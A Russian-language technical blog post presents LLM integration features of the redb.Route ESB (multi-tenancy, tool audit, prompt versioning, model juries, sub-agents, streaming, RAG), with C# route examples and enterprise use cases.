Один воркер обслуживает 50-100 клиентов. Каждый клиент — это свой REDB-instance (свои conversations, свой cost-budget, свои approvals, своя knowledge-base). Раньше это значило бы «50 -100 ServiceProvider'ов или ScopedFactory с маршрутом на каждый». В 3.1.1 это per-exchange hint:

From("http:0.0.0.0:5088/api/llm/ask?inOut=true")
    .Process(e =>
        e.In.Headers[LlmHeaders.Redb] = e.In.Headers["X-Tenant"]?.ToString())
    .To("llm://claude?conversationFromHeader=true");

?redb=acme или заголовок — engine выбирает named REDB-instance из реестра, на текущем Exchange, без смены маршрута, без фабрики, без перезапуска. Conversations, ToolAudit, ApprovalProps — всё пишется в нужный tenant. Каждый tenant получает свой биллинг и свой governance, не зная про существование других.

5. Audit trail без отдельной интеграции

ToolAuditProps — это REDB-объект с tenant-id, conversation-id, exchange-id, tool-name, входными аргументами (или хэшом, если PII), выходом (или хэшом), длительностью, статусом. Каждый вызов инструмента пишется автоматически, потому что инструмент это всё равно маршрут, а у redb.Route есть стандартные post-processors.

Запрос вида «покажи мне все tool-вызовы Claude в tenant acme за последние 7 дней с side-effect=mutating и cost=expensive, упорядочены по времени» — это не отдельный аналитический пайплайн. Это value_string индекс на REDB-объекте + один SQL (см. предыдущую серию «REDB storage», ссылки в конце).

6. Async batch + callback-consumer

Anthropic Message Batches и OpenAI Batch — это до 50% дешевле, но цена за это — задержка до 24 часов. Для офлайн-обработок (классификация миллиона тикетов, экстракция полей из миллиона PDF) это идеальный режим.

LlmBatchProps хранит batch-id, statuses, мета-связь с исходной коллекцией Exchange'ов. LlmCallbackProcessor — это обычный From("http://...?inOut=true")-маршрут, который провайдер вызывает по готовности batch'а. Маршрут читает batch-id, забирает результаты, диспетчит каждый ответ обратно в нужный Exchange (через correlation-id) — и они продолжают идти по своему пути, как будто синхронный вызов закончился.

Поверх — идемпотентность (тот же ToolIdempotencyProps), retry (стандартный circuit-breaker redb.Route), backpressure. Не нужно писать свой батчер. Не нужно писать свой webhook-handler. Не нужно отдельно тестировать «а что если callback пришёл два раза».

7. Версионированный реестр промптов: #-refs

Один из самых тоскливых багов прода: «модель стала отвечать иначе». Идёшь смотреть git-blame, оказывается — кто-то 3 недели назад тронул системный промпт, и тесты прошли. Промпт — это код, и должен жить в реестре с версией.

// Where you register prompts:
promptRegistry.Register("triage-system", version: "v3", body: """
    You are a support triage agent. Classify into [billing, tech, sales, abuse]...
    """);

// In the route:
.To(Llm.Factory("claude").SystemPromptRef("#triage-system@v3").AsUri())

PromptTemplateProps — это REDB-объект с именем, версией, телом, метаданными (автор, дата, эксперимент). Engine при разрешении #name фиксирует именно эту версию в MessageProps для каждого вызова. Через полгода вы можете полностью точно сказать: «этот разговор шёл на версии v3 промпта triage-system», а не «вероятно, v3, мы тогда так делали».

И — самое полезное — EvalRunStore фиксирует прогоны eval-test'ов в привязке к версии промпта. «Версия v4 даёт +12% accuracy на golden-set'е» — это не excel-табличка, это запрос в REDB.

8. Tree-branching конверсаций для A/B и «что было бы, если»

ConversationProps хранится как REDB-tree через нативный parent_id. Это значит, что разговор — не плоский список сообщений, а дерево. Вы можете:

ветвить разговор от любого сообщения, чтобы запустить «альтернативный» прогон с другой моделью или температурой;
хранить пользовательскую ветку и эксперимент-ветку параллельно;
считать метрики по парам веток («с-инструментами vs без-инструментов на одном и том же контексте»).

В sliding-window памяти вы отрезаете прошлое. В tree-branching памяти вы пишете альтернативное прошлое и сравниваете. Для production-агентов второе ценнее на порядок, потому что улучшение промптов в проде — это и есть «возьми реальный разговор, проиграй с новым промптом, сравни оценки».

И технически здесь ничего не было сделано «специально для LLM». Tree через parent_id — это штатная возможность REDB, которая используется для иерархий объектов с самого начала. LLM просто написала на этом свою сущность.

9. Jury из младших моделей с arbiter'ом — Scatter-Gather + Aggregator

Один из самых недооценённых production-приёмов: не верить одной модели. Одна и та же задача отправляется одновременно в несколько дешёвых моделей (Haiku, GPT-4o-mini, Mistral-Small, Gemini-Flash, Llama-3.1-70b через Groq), их ответы собираются, и старшая модель (Sonnet, Opus, GPT-4o) получает оригинальный запрос плюс пять кандидатов и работает как арбитр: выбирает лучший, синтезирует новый или говорит «никто не справился, переспроси». В литературе это называется mixture-of-agents или ensemble voting — паттерн, который даёт +10..20% accuracy на сложных задачах при цене ниже, чем «всё через Opus».

В чистой LangChain-конструкции это превращается в стостраничный orchestrator с try/catch, retry на каждую модель, таймаутами на каждый вызов и собственной aggregation-логикой. В ESB-конструкции это штатный EIP-паттерн Scatter-Gather + Aggregator, у которого 25-летняя история в интеграционных шинах. LLM просто становится одним из endpoint'ов, по которому Scatter-Gather разлетается:

From("kafka://contract-clauses-to-classify")
    .RouteId("contract-jury")
    .Multicast()                                          // Scatter
        .Parallel()
        .StopOnException(false)                           // одна модель упала — терпим
        .Timeout(TimeSpan.FromSeconds(30))                // на каждую ветку
        .To(Llm.Factory("haiku")
            .SystemPromptRef("#contract-classify@v3")
            .Temperature(0.0).MaxTokens(200).AsUri())
        .To(Llm.Factory("gpt-4o-mini")
            .SystemPromptRef("#contract-classify@v3")
            .Temperature(0.0).MaxTokens(200).AsUri())
        .To(Llm.Factory("groq-llama-70b")
            .SystemPromptRef("#contract-classify@v3")
            .Temperature(0.0).MaxTokens(200).AsUri())
        .To(Llm.Factory("mistral-small")
            .SystemPromptRef("#contract-classify@v3")
            .Temperature(0.0).MaxTokens(200).AsUri())
    .End()                                                // Gather: ответы собрались в Exchange.Properties["multicast.results"]
    .Process<JuryAggregator>()                            // склеиваем кандидатов в один промпт для арбитра
    .To(Llm.Factory("sonnet")                             // Arbiter
        .SystemPromptRef("#jury-arbiter@v2")
        .Temperature(0.1).MaxTokens(500)
        .CostBudget(usd: 0.05)
        .AsUri())
    .To("kafka://contract-clauses-classified");

JuryAggregator — это короткий процессор, который из четырёх ответов и оригинального запроса собирает один промпт вида «вот задача; вот ответы кандидатов A/B/C/D; верни итоговую классификацию или скажи unclear». Arbiter получает всё в одном вызове, отвечает структурированным JSON. Хедеры llm.tokens.in/out пишутся отдельно для каждой ветки, плюс отдельно для арбитра — стоимость прозрачна на уровне маршрута.

Что здесь делает ESB-форма ценным:

Параллелизм бесплатно. Multicast EIP уже умеет fan-out по N веткам, ждать всех или N из M, обрабатывать таймауты и частичные сбои. Не нужно писать Task.WhenAll с custom-обработкой ошибок.
Идемпотентность бесплатно. Если одна из веток упала и retry дал тот же запрос — ToolIdempotencyProps (или provider-side cache по prompt-hash) дедуплицирует. Не платим за дубль.
Бюджет бесплатно. .CostBudget(usd: 0.05) на arbiter'е стоит как отдельный circuit-breaker; на ветках можно поставить свой .CostBudget(usd: 0.01). Cap на всё суммарно — через CostBudgetProps с другим ключом. Если jury вышло за лимит — failfast, классификация откатывается на rule-based fallback (его же пишем как ещё одну ветку маршрута).
Audit бесплатно. Каждый из пяти LLM-вызовов автоматически попадает в ToolAuditProps, привязанный к одному exchange-id. Через месяц можно ответить «модель Х согласилась с арбитром в 73% случаев, можно её отключить и сэкономить».
Eval бесплатно. EvalRunProps записывает прогон с пятью моделями + одним арбитром — потом на golden-set'е можно подобрать оптимальный состав jury (заменить gpt-4o-mini на gemini-flash, проверить, упало ли accuracy).

В реальности этот паттерн даёт две ощутимые победы. Первая — точность: в задачах вида «классифицировать пункт договора как риск/не-риск», где одна модель регулярно ошибается, jury из четырёх дешёвых + арбитр-Sonnet уверенно обгоняет одиночный Opus, в 2.5 раза дешевле. Вторая — робастность: если Anthropic лежит, ветка через Anthropic упала, остальные четыре дали ответ, арбитр получил четыре кандидата вместо пяти и спокойно вынес вердикт. Деградация мягкая, а не «упало всё».

Тонкость, которую видишь только в проде: арбитру нельзя давать имена моделей. Если в промпте арбитра написано «вот ответ Claude Haiku, вот ответ GPT-4o-mini» — арбитр развивает фавориты (как и человек). Поэтому в JuryAggregator мы анонимизируем кандидаты как A/B/C/D, перемешиваем порядок (Latin square по exchange-id для воспроизводимости) и только после ответа арбитра мапим обратно «кто был A». Это даёт чистый сигнал для post-hoc анализа «какая модель чаще угадывает с арбитром».

10. Sub-agents: агент как инструмент другого агента

Прямое следствие архитектуры «инструмент = маршрут»: если маршрут может содержать .To("llm://..."), то инструмент — это сам по себе агент. Главный агент не «знает», что под капотом инструмента сидит ещё одна LLM. Для него research_topic — это обычный tool, как web_search или math_eval. Внутри же — полноценный second-tier агент со своими: моделью, промптом, набором инструментов, бюджетом, итерационным потолком, политиками retry, RAG-источниками.

В коде это выглядит так:

// Subagent: исследовательский специалист с собственными инструментами
From("direct:research-subagent")
    .AsLlmTool("research_topic")
        .Description("Глубокое исследование темы. Принимает {topic, depth}. " +
                     "Возвращает структурированный summary с источниками.")
        .Input("""{"type":"object","properties":{
                    "topic":{"type":"string"},
                    "depth":{"type":"string","enum":["short","deep"]}},
                  "required":["topic"]}""")
        .SideEffect(ToolSideEffect.ReadOnly)
        .Cost(ToolCostClass.Expensive)               // главный агент видит, что вызов недешёвый
    .Then()
    .Knowledge("research-corpus", k: 12)             // sub-agent имеет свою RAG-базу
    .To(Llm.Factory("sonnet")                        // средняя модель — research-специалист
        .SystemPromptRef("#research-specialist@v3")
        .Tools("tavily_web_search", "http_fetch", "regex_extract")
        .MaxIterations(8)
        .CostBudget(usd: 0.30)                       // sub-agent имеет свой бюджет
        .Temperature(0.1).AsUri())
    .Process<ExtractResearchSummary>();

// Главный агент использует sub-agent как обычный tool в своём наборе
From("kafka://complex-business-questions")
    .To(Llm.Factory("opus")                          // planner — старшая модель
        .SystemPromptRef("#senior-analyst@v1")
        .Tools("research_topic",                     // ← наш sub-agent
               "sql_query",                          // ← обычный data-tool
               "math_eval",                          // ← вычисления
               "draft_report")                       // ← ещё один sub-agent (черновик отчёта)
        .MaxIterations(15)
        .CostBudget(usd: 2.00)                       // budget верхнего уровня
        .AsUri())
    .To("kafka://business-answers");

Что здесь происходит технически: когда Opus решает позвать research_topic, агент-engine строит JSON-вход и через RouteToolBridge отправляет его на direct:research-subagent. Этот маршрут запускается как новый Exchange, наследуя transaction-scope, principal, headers и DI-scope от родительского. Внутри него Sonnet делает свой собственный tool-use loop (web search → fetch → extract), потенциально с десятью итерациями и тремя инструментами. Возвращает структурированный summary в Out.Body, который агент-engine упаковывает обратно как tool_result для Opus. Opus видит результат, продолжает свою работу, при необходимости зовёт ещё.

Иными словами: архитектура рекурсивна без единой строки спецкода. Sub-agent внутри sub-agent'а работает по тем же правилам. На третьем уровне всё ещё работают audit, budget, idempotency, prompt-versioning, RAG, governance — потому что они не привязаны к «уровню агента», они привязаны к Exchange'у, а Exchange один и тот же примитив на любой глубине.

Это даёт три производных паттерна, которые в плоской «один-агент-много-инструментов» архитектуре собирать неудобно:

(а) Hierarchical agents — planner и workers. Старшая модель (Opus, GPT-4o) играет роль планировщика: разбивает задачу на куски и распределяет по специалистам. Каждый специалист — sub-agent с узким промптом и узким набором инструментов. У planner'а собственного доступа к данным может вообще не быть — только через subagent'ов. Это даёт жёсткое разграничение полномочий: planner не может случайно дёрнуть delete_records, потому что у него такого инструмента нет; его есть только у data-cleanup-subagent, к которому planner обращается явно.

(б) Specialist subagents с собственной памятью. Sub-agent может иметь свой собственный conversationId (другая ветка REDB-tree), свой собственный набор Knowledge(...)-источников, свой собственный реестр промптов. Условный legal-review-subagent живёт внутри корпоративной legal-knowledge базы, видит только её, отвечает строго в правовом регистре, и старший агент никогда не получает доступ к этим документам напрямую. ACL соблюдается на уровне маршрута, не на уровне «надеемся, модель не процитирует».

(в) Cost-shaped escalation. Дешёвый агент (Haiku) пытается решить задачу первым. Если он возвращает unclear или confidence ниже порога, он сам вызывает escalate_to_senior как tool — и под этим инструментом сидит маршрут к Opus с полным контекстом. Большая часть запросов оседает на Haiku за копейки; в Opus уходят только сложные. На big-volume workloads это меняет экономику в разы.

Сравнение со static-jury из паттерна №9: jury — статически зашитый subagent pattern. Маршрут заранее знает, что должно быть N кандидатов и один арбитр; DAG зафиксирован в DSL. Sub-agents-as-tools — динамическая версия: главный агент сам решает, кого позвать и сколько раз. Jury лучше для предсказуемых конвейеров классификации/прогноза. Sub-agents — для open-ended исследовательских задач, где количество шагов и состав инструментов заранее неизвестны.

Подводный камень — циклы. Если sub-agent A может звать B, а B может звать A, теоретически возможен бесконечный спуск. На практике он гасится тремя ограничителями: MaxIterations на каждом уровне (sub-agent не может крутиться вечно), CostBudgetProps (родительский бюджет тратится на каждый вложенный вызов), и опциональный depth-limit в headers (LlmHeaders.SubAgentDepth инкрементируется на каждом вложении, маршрут отбрасывает запросы при превышении). На практике после depth = 3-4 реальные задачи уже не выигрывают.

И ещё одна архитектурная красота: subagent — это просто маршрут, а значит у него есть стандартный URI. Разные родительские агенты могут шарить одного research-subagent, у которого собственный ?redb=acme для tenant-isolation, собственный rate-limiter (?throttle=5/sec), собственный circuit-breaker. Sub-agent ведёт себя как внутренний микросервис LLM-уровня, который вы переиспользуете между маршрутами, не дублируя промпт и не плодя клиенты.

Streaming: что на самом деле меняется, когда токен покидает провайдера

В 3.1.0 streaming был у провайдеров, но не доходил до клиента — мы аккумулировали токены в строку и возвращали целиком. В 3.1.1 закрыли всю цепочку:

провайдер отдаёт IAsyncEnumerable<string> — кадры по мере прибытия;
агент-engine кладёт это в Out.Body как IAsyncEnumerable<string>, не материализуя;
HTTP-консьюмер видит IAsyncEnumerable<string> и переключается в SSE-режим — каждый кадр отдельным data: ...\n\n;
WS-консьюмер — каждый кадр отдельным WebSocket message;
non-streaming consumer'ы (Kafka, RabbitMQ, ActiveMQ) — материализуют в строку, как раньше.

Что это даёт архитектурно: streaming перестаёт быть отдельным режимом «у нас есть streaming-API и обычный API». Это просто тип значения в Out.Body, который consumer-side обрабатывает в зависимости от своих возможностей. Тот же exchange может быть отправлен и в SSE, и в Kafka одновременно (multicast EIP) — Kafka-сторона дождётся материализации, SSE-сторона увидит кадры по мере поступления.

Под капотом — стандартный паттерн «Iterator вместо Collection в payload»: на pipe'ах он давно живёт. Единственное специфичное — это, что async-iteration должен работать внутри end-to-end Exchange-tracking'а, чтобы tracing/metrics видели весь путь, а не «получили один Exchange и отвалились».

RAG: чанки в REDB как первоклассные объекты

В 3.1.1 KnowledgeChunkProps — это REDB-объект с:

содержимым (text),
источником (source-uri, tenant-id, doc-id, chunk-index),
метаданными (язык, дата, теги, ACL — кто имеет право видеть),
placeholder'ом для embedding (вектор поедет отдельным релизом, MVP — keyword search через value_string-индексы и FTS).

Это значит, что RAG-источник = маршрут, а не «отдельный векторный сервис». Маршрут From("file://docs?include=*.md").To("knowledge://acme") индексирует документы. Маршрут From("kafka://support-tickets").Knowledge("acme", k: 5) подмешивает топ-5 чанков в системный промпт перед .To("llm://claude"). ACL и tenant-фильтрация — это value_*-индексы, которые применяются в SQL до отправки чанков в промпт.

Когда подключим vector-store — он встанет рядом с keyword-search через тот же IKnowledgeStore интерфейс, без изменений в маршрутах. Это главная цель архитектуры: будущие фичи не ломают сегодняшние маршруты.

Три реальных enterprise-кейса: отчёты, прогнозы, оповещения

Паттерны выше — это атомарные кирпичики. Дальше — три полноценных сценария, в которых эти кирпичики складываются в реально работающий enterprise-маршрут. Без AI-хайпа, без «когнитивной автоматизации», без слов «трансформирует индустрию». Просто рутина, которую люди делают руками каждый день, и которая снимается агентом, потому что он живёт в той же шине, что и данные.

Кейс 1. Ежедневный финансовый отчёт CFO на email — со сравнением с прошлым кварталом

Каждый рабочий день в 7:00 финансовый аналитик собирает: выручку за вчера, расходы по статьям, отклонения от плана, top-5 крупнейших операций, остатки по счетам, курсы валют. Потом пишет короткую сопроводиловку — «выручка +3.2% к плану, расходы +1.7%, отклонения объясняются Х». Уходит на это час-полтора. Есть ли смысл это автоматизировать? Однозначно. Можно ли это сделать на отдельном AI-сервисе? Можно. Стоит ли? Нет.

Маршрут целиком:

// Каждое утро в 07:00 по локальному времени
From("cron://daily-cfo-report?schedule=0 0 7 ? * MON-FRI")
    .RouteId("daily-cfo-report")
    .Process<LoadYesterdayMetrics>()                       // тянет из 1С/SAP/банковского API
                                                            // → e.In.Body = {revenue, expenses, accounts, fx, top5}
    .Process<LoadQuarterContext>()                         // из того же ETL: план, прошлый квартал, MTD/QTD
    .ConvertBody<FinancialDailySnapshot>()                 // strongly-typed payload
    .Multicast().Parallel()
        .To(Llm.Factory("haiku")                           // ветка A: коротко по-русски, для CFO
            .SystemPromptRef("#cfo-daily-summary-ru@v7")
            .Temperature(0.1).MaxTokens(800)
            .CostBudget(usd: 0.02).AsUri())
        .To(Llm.Factory("haiku")                           // ветка B: english, для board chat
            .SystemPromptRef("#cfo-daily-summary-en@v7")
            .Temperature(0.1).MaxTokens(800)
            .CostBudget(usd: 0.02).AsUri())
    .End()
    .Process<RenderHtmlReport>()                           // mustache-шаблон: цифры таблицей,
                                                            // текст моделей вверху как summary
    .To("smtp://mail.acme.com?to=cfo@acme.com,board@acme.com" +
        "&subject=Daily%20FY%20snapshot%20${date:yyyy-MM-dd}")
    .To("teams://board-channel?card=adaptive")             // та же html-секция → Teams adaptive card
    .Wiretap("kafka://reports.cfo-daily.archive");         // копия в архив для аудита и обучения

Семь шагов, и в этих семи шагах закрыто всё:

Расписание — cron-выражение в URI, без отдельного шедулера; redb.Route уже умеет.
Сбор данных — LoadYesterdayMetrics это обычный процессор, который дёргает существующие интеграции через тот же redb.Route (Kafka/REST/JDBC), и любые retry/circuit-breaker'ы у этих интеграций уже стоят.
Двуязычная генерация — multicast в две ветки одного дешёвого Haiku с разными промпт-шаблонами. Стоит копейки, бюджет фиксирован.
Версионированный промпт — #cfo-daily-summary-ru@v7. Через полгода CFO скажет «отчёт стал хуже» — открываем EvalRunProps, видим, что v7 регрессирует на эталоне → откатываемся на v6 без redeploy.
Канал доставки — два transport'а (SMTP + Teams), оба штатные redb.Route-коннекторы. Завтра CFO попросит «ещё в Slack» — добавляется одна строка .To("slack://...").
Аудит — Wiretap копирует в Kafka-архив. Регулятор через год спрашивает «покажи отчёт за 2026-04-15» — вынимается из архива с метаданными «модель X, версия промпта Y, исходные данные Z» (потому что MessageProps хранит и input, и output).
Бюджет — .CostBudget(usd: 0.02) на ветке. 250 рабочих дней × 2 ветки × $0.02 = $10/год на отчёты. Финансовая редактура за час времени аналитика — $50. Окупается за день первого месяца.

Что это делает enterprise-кейсом, а не игрушкой: в момент, когда CFO жалуется на «странную цифру в отчёте», аудитор по trace-id за 30 секунд показывает: какой snapshot был на входе, какая версия промпта применилась, какой именно output пришёл от модели, какой файл ушёл на email, кто прочитал в Teams. Не «давайте я завтра разберусь и пришлю». А прямо сейчас, потому что всё это — REDB-объекты, привязанные к одному exchange-id.

Кейс 2. Прогноз cash-flow на 30 дней с jury из моделей и арбитром

Финансовый прогноз — это типичная задача, где одна модель вреднее, чем ноль моделей: ошибка модели уверенным голосом приводит к решению, которое стоит дороже, чем месяц работы аналитика. Поэтому здесь — паттерн №9 (jury + arbiter) во весь рост.

From("cron://weekly-cashflow-forecast?schedule=0 0 9 ? * MON")
    .RouteId("weekly-cashflow-forecast")
    .Process<BuildCashflowFeatures>()                      // банковские счета, дебиторка/кредиторка,
                                                            // плановые платежи, сезонность, FX-позиции
    .Knowledge("acme-finance", k: 8)                       // RAG: внутренние гайдлайны прогнозирования,
                                                            // прошлые отчёты, методология
    .Multicast().Parallel().Timeout(TimeSpan.FromMinutes(2))
        .To(Llm.Factory("sonnet")                          // 4 разные модели, чтобы ошибки были
            .SystemPromptRef("#cashflow-forecast@v4")      // независимыми, а не коррелированными
            .Temperature(0.2).MaxTokens(2000).AsUri())
        .To(Llm.Factory("gpt-4o")
            .SystemPromptRef("#cashflow-forecast@v4")
            .Temperature(0.2).MaxTokens(2000).AsUri())
        .To(Llm.Factory("gemini-pro")
            .SystemPromptRef("#cashflow-forecast@v4")
            .Temperature(0.2).MaxTokens(2000).AsUri())
        .To(Llm.Factory("mistral-large")
            .SystemPromptRef("#cashflow-forecast@v4")
            .Temperature(0.2).MaxTokens(2000).AsUri())
    .End()
    .Process<JuryAggregator>()                             // анонимизация A/B/C/D + перемешивание
    .To(Llm.Factory("opus")                                // arbiter — самая мощная модель
        .SystemPromptRef("#cashflow-arbiter@v2")
        .Temperature(0.1).MaxTokens(3000)
        .CostBudget(usd: 0.50).AsUri())
    .Process<ExtractStructuredForecast>()                  // парсим JSON: 30 дней с low/mid/high
    .Choice()
        .When(e => e.In.Body<Forecast>().ConfidenceLow < 0.6)
            .Process<ApprovalGate>()                       // низкая уверенность → жди CFO
            .To("smtp://...?to=cfo@acme.com&priority=high")
        .Otherwise()
            .Process<RenderForecastReport>()
            .To("smtp://...?to=treasury@acme.com")
    .End()
    .Wiretap("kafka://reports.cashflow.archive");

Этот маршрут стоит ~$2-3 за прогон, прогон делается раз в неделю — то есть ~$150/год. Аналитик потратил бы день на ту же задачу. Ключевая ценность не в экономии — в робастности: четыре независимых ответа от разных провайдеров (Anthropic, OpenAI, Google, Mistral) дают модель «согласия» как сигнала уверенности. Если четыре модели сошлись — арбитр Opus просто кодифицирует. Если разъехались — арбитр пишет «модель A видит риск Х, остальные нет, рекомендую человеческую проверку», и Choice-ветка сама уходит в approval-gate.

Через год treasury-команда смотрит на EvalRunProps и видит: «модель Gemini-Pro расходится с консенсусом в 18% случаев, и в 70% этих случаев права именно она» — отличный сигнал, что её надо повысить в весе в jury, а не убрать. Это не догадка, а запрос в REDB.

Кейс 3. Производственный прогноз и проактивный алерт инженеру

В производстве (не финансовом, а реальном — заводы, склады, логистика) типичная задача: по SCADA-метрикам предсказать, что через 4-6 часов случится сбой, и заранее уведомить инженера. Раньше для этого делали отдельные ML-сервисы с feature-store и моделями градиентного бустинга. Это всё ещё корректный путь, и LLM не заменяет его. Но LLM хорошо закрывает «последнюю милю» — превращение «вектор отклонений + контекст» в внятное человеческое объяснение.

// Слушаем поток метрик из SCADA-шины (через MQTT/Kafka), окно 5 минут
From("kafka://scada.metrics?groupId=plant-anomaly-watcher")
    .RouteId("plant-anomaly-watcher")
    .Aggregate(by: e => e.In.Headers["LineId"],
               window: TimeSpan.FromMinutes(5))            // окно по линии производства
    .Process<RunAnomalyModel>()                            // классический ML — XGBoost, ничего нового;
                                                            // выдаёт {score, top-features, line-context}
    .Choice()
        .When(e => e.In.Body<AnomalyReport>().Score > 0.8)
            .Knowledge("plant-runbooks", k: 3)             // RAG: runbook'и по этой линии,
                                                            // история похожих инцидентов
            .To(Llm.Factory("haiku")
                .SystemPromptRef("#plant-incident-explainer@v9")
                .Temperature(0.0).MaxTokens(600)
                .Tools("metrics-history", "fetch-shift-log")  // агент сам дотянет данные
                .MaxIterations(4)
                .CostBudget(usd: 0.10).AsUri())
            .Process<EnrichWithOnDutyEngineer>()           // кто сегодня в смене на этой линии
            .Multicast()
                .To("teams://engineering-shift-{LineId}?card=adaptive")
                .To("sms://twilio?to={engineer.phone}")
                .To("kafka://incidents.predicted.archive")
            .End()
        .Otherwise()
            .To("kafka://scada.metrics.normal")            // просто архивируем
    .End();

Что здесь происходит и почему это работает:

ML-модель не выкидывается. Anomaly score считает старый добрый XGBoost, который всю жизнь хорошо это делал. LLM встаёт после него.
LLM объясняет, а не предсказывает. Промпт: «вот аномалия на линии 7, top-3 фичи такие-то, runbook говорит так-то, история инцидентов такова. Объясни на одной странице, что вероятно произошло, что инженеру делать в ближайший час, и какие три параметра проверить первыми». Это работа, в которой LLM объективно сильна — синтез.
Tools у агента — это доступ к данным завода. metrics-history — это direct:metrics-history маршрут, который запрашивает Influx/Prometheus. fetch-shift-log — REDB-запрос к журналу смены. Агент сам решит, нужно ли ему дёргать эти инструменты, и сколько раз. MaxIterations(4) — потолок, чтобы не зацикливался.
Доставка — multi-channel. Teams-карточка с кнопкой «принял в работу» (которая, кстати, дёрнет ApprovalGate-подобный webhook), SMS на дежурный телефон через Twilio (этот transport уже есть в redb.Route), архив в Kafka.
Aggregate by LineId, window 5min — это EIP Aggregator, который буферизует метрики по группам. Никакой redb.Route.Llm-специфики; это обычная интеграционная логика, которая работает у вас уже годы.

Что это даёт бизнесу: время от появления аномалии до «инженер на линии знает, что искать» падает с 40 минут (старый процесс — оператор увидел, позвонил, описал, инженер пришёл, начал искать) до 4-5 минут. На дорогостоящих линиях каждый час простоя — это десятки тысяч долларов; этот маршрут окупается за первое предотвращённое срабатывание.

И заметьте, что во всех трёх кейсах роль LLM — узкая. Не «AI управляет фабрикой». Не «AI ведёт финансы компании». LLM делает одну конкретную вещь в маршруте — суммаризацию, синтез, выбор из кандидатов, объяснение. А вокруг неё стоит вся обычная enterprise-инфраструктура: расписания, ETL, RAG, мульти-канальная доставка, аудит, governance, бюджеты. Эта инфраструктура — и есть redb.Route. LLM — последний кирпич, который раньше требовал отдельного сервиса.

Storytelling: как чат-демо вырастает в платформу

Расскажу путь, как он происходит у живой команды (видел его уже несколько раз).

День 1. Кто-то показывает коллегам, что Claude может ответить на тикет. Файл LlmHttpRoutes.cs — 6 строк, From("http://...").To("llm://haiku"), и demo работает. Это проект, не платформа.

From("http:0.0.0.0:5088/api/llm/ask?inOut=true")
    .ConvertBody<string>()
    .To(Llm.Factory("haiku").MaxIterations(1).AsUri());

День 7. Коллеги говорят: «модель не помнит, что я писал минуту назад». Добавляется X-Chat-Id header → ConversationId-поле → ConversationFromHeader(). Один Process(...)-шаг, никакой инфраструктуры — AddRedbLlmStorage() уже в Program.cs, MessageProps уже пишутся.

.Process(e => e.In.Headers[LlmHeaders.ConversationId] =
    e.In.Headers["X-Chat-Id"]?.ToString() ?? "default")

День 14. «Хочу, чтобы он мог запускать команды на сервере». Появляется tool-shell — отдельный маршрут с .AsLlmTool("shell"), через redb.Route.Exec с allowlist [cmd, pwsh], working-dir в temp, timeout 5 сек, cap 8KB на stdout. Безопасность — в DSL, а не в советах в промпте.

From("direct:tool-shell")
    .AsLlmTool("shell").SideEffect(ToolSideEffect.ReadOnly).Cost(ToolCostClass.Cheap)
    .Then()
    .To(ExecDsl.Run().AllowedCommands("pwsh", "cmd").TimeoutMs(5000).MaxStdoutBytes(8192));

День 21. «Финансы говорят, что счёт за токены превысил план в 4 раза». Добавляется .CostBudget(usd: 0.50) на conversation-id. Без новых сервисов, без новых дашбордов — он попадает в CostBudgetProps, и tsak.web уже умеет его показывать.

День 30. «Нужно, чтобы каждое действие агента было audit-able». Уже работает: ToolAuditProps пишется автоматически с момента, когда инструмент стал маршрутом. Аудитор открывает SQL-запрос — все вызовы за квартал, фильтрованные по tenant и side-effect. Никакого «mes давайте интегрируем».

День 45. «Юристы хотят human-in-loop на refund-инструмент». Добавляется .Process<ApprovalGate>() перед exec. ApprovalProps пишется, Slack-bot подключается как ещё один HTTP-маршрут. Всё.

День 60. «Запускаем второго клиента — отдельная база, отдельный биллинг». Добавляется Process(e => e.In.Headers[LlmHeaders.Redb] = e.In.Headers["X-Tenant"]). Один маршрут, два tenant'а, ноль изменений в логике.

День 90. «Хочу прогнать ночью миллион тикетов через классификатор». Маршрут уже есть. Меняется один аргумент: .Mode(LlmMode.Batch) — вместо синхронного вызова открывается Anthropic Batch, LlmBatchProps хранит id, LlmCallbackProcessor ждёт webhook, результаты идут в тот же Kafka, что и днём. -50% к токен-счёту.

День 120. «Нужны метрики по версиям промптов: которая хуже». EvalRunProps уже хранит прогоны. Открыли SQL, посчитали accuracy по PromptTemplateRef, увидели регрессию в v4, откатились на v3 — без redeploy.

В этом нарративе нет сюжета «и тут мы переписали всё на Kubernetes-операторе». Нет момента «а потом мы добавили AI-платформу». Те шесть строк чат-демо, которые работали в День 1, — это буквально тот же файл, который в День 120 ведёт двух тенантов с jury-арбитражем, batch-классификацией миллиона тикетов за ночь и audit'ом регуляторного уровня. Не было миграции. Не было переписывания. Не было «архитектуры v2». Просто в маршрут добавлялись строчки по мере появления требований. Чат-демо не «вырастает» в платформу — он с первого дня стоит на платформе и постепенно включает её фичи.

Demo-маршруты: где это посмотреть живьём

Все паттерны выше — не concept-art. В репозитории redbase-app/redb-route есть два демо-файла:

LlmDemoRoutes.cs — три формы LLM-вызова: inline-step (.Llm("demo-stub")), endpoint (.To("llm://demo-stub")), tool (.AsLlmTool("echo_tool")). Все на stub-провайдере, без API-ключей.
LlmHttpRoutes.cs — два HTTP endpoint'а (/api/llm/ask без инструментов, /api/llm/shell с shell-инструментом через redb.Route.Exec), оба с conversation-id из заголовка, оба с реальным Claude Haiku.

Запускается одной командой dotnet run в redb.Route.Demo — открывается порт 5088, можно curl'ом проверять прямо сейчас:

curl -d "what time is it on this host?" -H "X-Chat-Id: test1" \
     http://localhost:5088/api/llm/shell

Repo: github.com/redbase-app/redb-route (Apache 2.0).

Что не сделано, и почему я это говорю

Sliding-window память не сделана. Полноценный векторный store ещё не сделан. Нет «AI-graph editor» в tsak.web — runtime-инспекция конверсаций показывается как обычные REDB-объекты в существующем UI, без отдельного pane. Нет встроенной интеграции с одним из коммерческих eval-сервисов — EvalRunStore хранит прогоны, но «нажми кнопку и сравни с продом» нет.

Это нормально. Skip-list — это техника, не оправдание. Open-source-проект, который врёт в README про скоп — это проект, в который никто не зайдёт во второй раз. Я лучше скажу «не сделано» и сделаю в следующей минорке, чем «сделано» и буду отбиваться от issue про падающий feature.

Zoom out: почему именно ESB

В индустрии популярен термин «AI-нативная архитектура». Под ним обычно понимают «у нас всё построено вокруг LLM», и обычно за этим стоит новый dev-stack рядом со старым. Проблема не в стеке — проблема в дублировании политики.

Если у вас retry — в двух местах. Если у вас audit — в двух местах. Если у вас governance — в двух местах. Если у вас tenant-isolation — в двух местах. И эти две реализации разъезжаются через год: AI-stack добавил bounded-context-аудит, integration-stack — нет. Юристы спрашивают «один отчёт за всё» — никто не может его собрать.

